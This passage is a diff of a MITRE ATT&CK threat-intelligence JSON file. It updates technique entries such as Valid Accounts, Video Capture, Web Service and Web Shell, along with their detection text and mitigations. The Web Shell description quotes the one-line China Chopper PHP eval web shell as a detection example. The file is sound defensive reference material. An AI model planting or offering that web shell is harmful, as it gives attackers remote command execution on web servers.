-                    "description": "Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017.",
-                    "url": "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/"
-                },
-                {
-                    "source_name": "Microsoft Roslyn CPT RCSI",
-                    "description": "Osenkov, K. (2011, October 19). Introducing the Microsoft \u201cRoslyn\u201d CTP. Retrieved June 28, 2017.",
-                    "url": "https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/"
-                },
-                {
-                    "source_name": "engima0x3 RCSI Bypass",
-                    "description": "Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017.",
-                    "url": "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/"
-                },
                 {
                     "source_name": "Microsoft Debugging Tools for Windows",
                     "description": "Marshall, D. (2017, May 23). Debugging Tools for Windows (WinDbg, KD, CDB, NTSD). Retrieved June 29, 2017.",
                     "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index"
                 },
                 {
-                    "source_name": "Exploit Monday WinDbg",
-                    "description": "Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.",
-                    "url": "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html"
+                    "source_name": "Microsoft Docs File Tracking",
+                    "description": "B, M., Brown, K., Cai, S., Hogenson, G., Warren, G. (2016, November 4). File Tracking. Retrieved November 1, 2017.",
+                    "url": "https://docs.microsoft.com/visualstudio/msbuild/file-tracking"
+                },
+                {
+                    "source_name": "Microsoft Migrating from DNX",
+                    "description": "Knezevic, Z., Wenzel, M. Latham, L. (2016, June 20). Migrating from DNX to .NET Core CLI (project.json). Retrieved June 28, 2017.",
+                    "url": "https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx"
+                },
+                {
+                    "source_name": "Microsoft Roslyn CPT RCSI",
+                    "description": "Osenkov, K. (2011, October 19). Introducing the Microsoft \u201cRoslyn\u201d CTP. Retrieved June 28, 2017.",
+                    "url": "https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/"
+                },
+                {
+                    "source_name": "SubTee GitHub All The Things Application Whitelisting Bypass",
+                    "description": "[ Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ Application Control Bypass Techniques in One File. Retrieved June 30, 2017."
+                },
+                {
+                    "source_name": "Twitter SubTee Tracker.exe",
+                    "description": "Smith, C. (2016, October 31). SubTee Twitter Status. Retrieved November 1, 2017.",
+                    "url": "https://twitter.com/subTee/status/793151392185589760"
+                },
+                {
+                    "source_name": "engima0x3 DNX Bypass",
+                    "description": "Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017.",
+                    "url": "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/"
+                },
+                {
+                    "source_name": "engima0x3 RCSI Bypass",
+                    "description": "Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017.",
+                    "url": "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Casey Smith"
+                "Casey Smith",
+                "Matthew Demaske, Adaptforward"
             ],
             "x_mitre_data_sources": [
                 "Process monitoring"
             ],
-            "x_mitre_permissions_required": [
-                "User"
-            ],
             "x_mitre_defense_bypassed": [
                 "Application whitelisting"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+            "x_mitre_permissions_required": [
+                "User"
             ],
             "x_mitre_remote_support": false,
+            "x_mitre_platforms": [
+                "Windows"
+            ],
             "x_mitre_system_requirements": [
                 "MSBuild: .NET Framework version 4 or higher\nDNX: .NET 4.5.2, Powershell 4.0\nRCSI: .NET 4.5 or later, Visual Studio 2012"
             ]
@@ -13692,8 +14358,8 @@
             "type": "course-of-action",
             "id": "course-of-action--e8d22ec6-2236-48de-954b-974d17492782",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Two-Factor Authentication Interception Mitigation",
             "description": "Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.\n\nIdentify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -13734,9 +14400,9 @@
             "id": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:23.195Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Two-Factor Authentication Interception",
-            "description": "Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.\n\nIf a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)\n\nOther hardware tokens, such as RSA SecurID, require the adversary to have access to the physical device or the seed and algorithm in addition to the corresponding credentials.\n\nDetection: Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes.\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
+            "description": "Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.\n\nIf a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)\n\nOther hardware tokens, such as RSA SecurID, require the adversary to have access to the physical device or the seed and algorithm in addition to the corresponding credentials.\n\nDetection: Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nPlatforms: Linux, macOS, Windows\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes.\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -13766,27 +14432,15 @@
             "x_mitre_contributors": [
                 "John Lambert, Microsoft Threat Intelligence Center"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
-            ],
             "x_mitre_permissions_required": [
                 "Administrator",
                 "SYSTEM"
             ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
+            ],
             "x_mitre_system_requirements": [
                 "Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes."
             ]
@@ -13795,8 +14449,8 @@
             "type": "course-of-action",
             "id": "course-of-action--a0d8db1d-a731-4428-8209-c07175f4b1fe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Uncommonly Used Port Mitigation",
             "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. \n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -13817,9 +14471,9 @@
             "id": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:53.408Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Uncommonly Used Port",
-            "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
+            "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -13848,29 +14502,17 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--d45f03a8-790a-4f90-b956-cd7e5b8886bf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Valid Accounts Mitigation",
             "description": "Take measures to detect or prevent techniques such as Credential Dumping or installation of keyloggers to acquire credentials through Input Capture. Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access). Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege)",
             "external_references": [
@@ -13901,9 +14543,9 @@
             "id": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:00.645Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Valid Accounts",
-            "description": "Adversaries may steal the credentials of a specific user or service account using Credential Access techniques. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network and may even be used for persistent access to remote systems. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nAdversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful. \n\nThe overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)\n\nDetection: Configure robust, consistent account activity audit policies across the enterprise. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Authentication logs, Process monitoring\n\nEffective Permissions: User, Administrator\n\nDefense Bypassed: Anti-virus, Firewall, Host intrusion prevention systems, Network intrusion detection system, Process whitelisting, System access controls\n\nPermissions Required: User, Administrator",
+            "description": "Adversaries may steal the credentials of a specific user or service account using Credential Access techniques. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network and may even be used for persistent access to remote systems. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nAdversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful. \n\nThe overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)\n\nDetection: Configure robust, consistent account activity audit policies across the enterprise. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs, Process monitoring\n\nEffective Permissions: User, Administrator\n\nDefense Bypassed: Anti-virus, Firewall, Host intrusion prevention systems, Network intrusion detection system, Process whitelisting, System access controls\n\nPermissions Required: User, Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -13942,10 +14584,6 @@
                 "Authentication logs",
                 "Process monitoring"
             ],
-            "x_mitre_effective_permissions": [
-                "User",
-                "Administrator"
-            ],
             "x_mitre_defense_bypassed": [
                 "Anti-virus",
                 "Firewall",
@@ -13958,30 +14596,22 @@
                 "User",
                 "Administrator"
             ],
+            "x_mitre_effective_permissions": [
+                "User",
+                "Administrator"
+            ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Video Capture Mitigation",
             "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -14022,9 +14652,9 @@
             "id": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:37.917Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Video Capture",
-            "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, File monitoring, API monitoring\n\nPermissions Required: User",
+            "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, File monitoring, API monitoring\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -14050,26 +14680,15 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--4689b9fb-dca4-473e-831b-34717ad50c97",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Web Service Mitigation",
             "description": "Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -14090,9 +14709,9 @@
             "id": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:13.915Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Web Service",
-            "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nPopular websites and social media can act as a mechanism for command and control and give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture\n\nPermissions Required: User\n\nRequires Network: Yes",
+            "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nPopular websites and social media can act as a mechanism for command and control and give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture\n\nPermissions Required: User\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -14120,34 +14739,22 @@
                 "Network protocol analysis",
                 "Packet capture"
             ],
+            "x_mitre_network_requirements": true,
             "x_mitre_permissions_required": [
                 "User"
             ],
-            "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--bcc91b8c-f104-4710-964e-1d5409666736",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Web Shell Mitigation",
             "description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through Exploitation of Vulnerability to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)",
             "external_references": [
@@ -14168,9 +14775,9 @@
             "id": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:13.061Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Web Shell",
-            "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed.\n\nDetection: Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\n<code><?php @eval($_POST['password']);></code>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Anti-virus, File monitoring, Process monitoring, Authentication logs, Netflow/Enclave netflow\n\nEffective Permissions: User, SYSTEM\n\nSystem Requirements: Adversary access to Web server with vulnerability or account to upload and serve the Web shell file.",
+            "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed.\n\nDetection: Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\n<code><?php @eval($_POST['password']);></code>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Anti-virus, File monitoring, Process monitoring, Authentication logs, Netflow/Enclave netflow\n\nEffective Permissions: User, SYSTEM\n\nSystem Requirements: Adversary access to Web server with vulnerability or account to upload and serve the Web shell file.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -14213,21 +14820,9 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
